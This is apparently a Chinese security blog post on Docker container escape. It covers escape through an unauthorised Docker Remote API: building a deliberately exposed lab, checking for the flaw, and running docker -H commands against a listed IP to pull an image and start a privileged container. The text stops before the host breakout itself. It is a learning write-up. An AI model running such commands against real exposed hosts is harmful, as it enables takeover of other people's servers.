freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

浅谈docker逃逸的几种方式
2024-01-07 23:09:45

1、Docker Remote API未授权访问逃逸

漏洞简介及危害

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,黑客也可以删除Docker上的数据。 攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。

漏洞利用

1-1、环境搭建

这里使用vulhub中的漏洞环境cd vulhub-master/docker/unauthorized-rce
docker-compose build
docker-compose up -d

(2)手动搭建

查询docker服务systemctl status docker.service

编辑docker服务文件vim /usr/lib/systemd/system/docker.service
在ExecStart行后面追加以下内容-H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock

  • -H tcp://0.0.0.0:2375允许通过网络远程访问 Docker,但可能有安全风险,需要加密和访问控制来保护。
  • -H unix://var/run/docker.sock只能本地访问,通常更安全,适用于本地命令行工具和进程之间的通信。不适用于远程访问。(这个配置下文的挂载docker socket逃逸会用到

重新加载 systemd 守护程序,以便使对 systemd 服务的更改生效systemctl daemon-reload

重启docker服务systemctl restart docker.service

查看端口是否开启netstat -nlpt

1-2、漏洞验证

访问version和info界面,如果存在返回信息,说明漏洞存在。

1-3、漏洞利用

通过任意一台安装了docker的主机,执行命令查看目标主机是否存在正在运行的docker镜像,结果为空,说明不存在正在运行的docker容器。

查看容器运行情况docker -H tcp://81.68.121.124:2375 ps

让目标主机拉取一个镜像docker -H tcp://81.68.121.124:2375 pull alpine

查看目标主机拉取的镜像


以特权模式,启动拉取的alpine镜像docker -H tcp://81.68.121.124:2375 run -it --privileged alpine  /bin/sh
docker run --cap-add SYS_ADMIN -it alpine   #这是第二种方法

这里为什么要用特权容器:

Docker 中的特权容器(privileged containers)是一种容器配置,它赋予容器更高级别的操作权限,允许容器执行一些通常需要主机级别权限的操作。特权容器与普通容器的主要区别在于其拥有更多的主机权限,这允许容器在主机上执行更多的系统级任务,但也会降低容器的安全性和隔离性。

# 云安全 # docker安全 # 容器安全 # Docker逃逸
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录